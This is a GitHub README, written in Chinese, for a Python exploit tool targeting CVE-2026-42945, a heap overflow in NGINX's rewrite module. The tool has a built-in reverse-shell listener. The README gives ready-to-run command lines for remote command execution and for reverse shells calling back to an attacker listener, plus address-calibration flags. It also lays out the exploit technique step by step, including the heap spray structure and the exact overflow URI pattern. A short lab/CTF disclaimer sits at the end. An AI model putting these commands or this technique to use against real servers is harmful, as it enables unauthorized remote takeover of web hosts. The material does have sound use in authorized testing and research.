sec-sys/CVE-2026-42945-Reverse-Shell-POC

GitHub: sec-sys/CVE-2026-42945-Reverse-Shell-POC

针对 CVE-2026-42945(NGINX Rift 堆溢出)的 Python RCE PoC 工具,内置反弹 Shell 监听器,用于 CTF 和安全实验室环境中验证该漏洞的可利用性。

Stars: 0 | Forks: 0

# CVE-2026-42945 (NGINX Rift) RCE PoC 与 Reverse Shell 这是针对 **CVE-2026-42945** 的远程代码执行 (RCE) 概念验证,该漏洞表现为 NGINX 的 `ngx_http_rewrite_module` 中的堆缓冲区溢出。此分支在公开的触发 PoC 基础上进行了扩展,内置了 reverse-shell 监听器,并为 CTF 和独立实验室环境提供了可配置的漏洞利用参数。 ## 漏洞概述 - **CVE ID:** CVE-2026-42945 - **别名:** NGINX Rift - **受影响组件:** `ngx_http_rewrite_module` - **受影响版本:** NGINX Open Source `0.6.27` – `1.30.0`;NGINX Plus `R32` – `R36` - **修复版本:** NGINX Open Source `1.30.1` / `1.31.0`;NGINX Plus `R36 P4`, `R35 P2`, `R32 P6` - **根本原因:** 两遍脚本引擎处理不匹配。计算长度的遍在一个全新的子引擎上运行,此时 `is_args = 0`;而执行复制的遍在主引擎上运行,此时 `is_args = 1`,会调用 `ngx_escape_uri(..., NGX_ESCAPE_ARGS)`。可转义的字节会扩展为 3 个字节,导致使用攻击者控制的 URI 数据溢出一个过小的堆缓冲区。 - **实现 RCE 的前提条件:** 存在漏洞的 `rewrite`/`set` 配置使用了未命名的 PCRE 捕获组 (`$1`, `$2`) 并且替换字符串中包含 `?`;禁用 ASLR 或已知堆/libc 基址;能够通过 POST body 进行堆喷射 (heap spray)。 ## 文件 | 文件 | 描述 | |------|-------------| | `cve_2026_42945_rce_poc.py` | 带有内置 reverse-shell 监听器和命令执行模式的 Python 漏洞利用脚本。 | ## 环境要求 - Python 3.8+ - 符合易受攻击版本和配置特征的目标 NGINX 实例。 - 能够通过网络访问目标 HTTP 端口。 - 对于 reverse shell:攻击者主机必须能在所选的监听端口上被目标访问到。 ## 用法 ### 执行单条命令 ``` python3 cve_2026_42945_rce_poc.py \ --host 10.0.0.5 \ --port 80 \ --cmd "id > /tmp/pwned" ``` ### 生成一个 reverse shell (默认为 bash) ``` python3 cve_2026_42945_rce_poc.py \ --host 10.0.0.5 \ --port 80 \ --shell \ --listen-ip 10.0.0.1 \ --listen-port 1337 ``` ### Python reverse shell payload ``` python3 cve_2026_42945_rce_poc.py \ --host 10.0.0.5 \ --port 80 \ --shell \ --shell-type python \ --listen-ip 10.0.0.1 \ --listen-port 1337 ``` ### 针对特定目标校准地址 ``` python3 cve_2026_42945_rce_poc.py \ --host 10.0.0.5 \ --port 80 \ --shell \ --listen-ip 10.0.0.1 \ --listen-port 1337 \ --heap-base 0x555555659000 \ --libc-base 0x7ffff77ba000 \ --system-offset 0x50d70 ``` ## 工作原理 1. **Heap Spray (堆喷射):** 发送多个 POST 请求,其 body 中包含伪造的 `ngx_pool_cleanup_s` 结构:`system@libc | pointer to command | null`。这些 body 会占据稳定的堆内存位置。 2. **触发溢出:** 向存在漏洞的 `rewrite` endpoint 发送精心构造的 GET 请求。URI 模式为: /api/<349 x 'A'><969 x '+'><6-byte heap address> 溢出会破坏相邻 `ngx_pool_t` 的 `cleanup` 指针。 3. **代码执行:** 当内存池被销毁时,遭到破坏的 `cleanup` 指针会调用 `system(command)`,在 NGINX worker 进程中执行攻击者控制的命令。 4. **Reverse Shell:** 如果使用了 `--shell`,该命令将作为 reverse-shell payload,内置的监听器会捕获传入的连接。 ## 安全提示 本工具仅用于: - CTF 和实验室练习。 - 获得书面授权的渗透测试。 - 安全研究和防御强化活动。 请勿在您不拥有或未获得明确测试权限的系统上使用。 ## 免责声明 使用风险由您自行承担。作者不对未经授权或非法的使用行为负责。 ## 来源 最初的漏洞研究和 PoC 由 **depthfirstdisclosures** 提供 (https://github.com/depthfirstdisclosures/nginx-rift)。 此 Python reverse-shell 分支专为红队实验室 / CTF 用途而创建。 ## 参考资料 - NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42945 - NGINX Security Advisories: https://nginx.org/en/security_advisories.html - F5 / NGINX Knowledge Base: https://my.f5.com/manage/s/article/K000161019 - 原始研究仓库: https://github.com/depthfirstdisclosures/nginx-rift
标签:CISA项目, Nginx, PoC, Python, 无后门, 暴力破解, 编程工具, 负责任AI, 远程代码执行, 逆向工具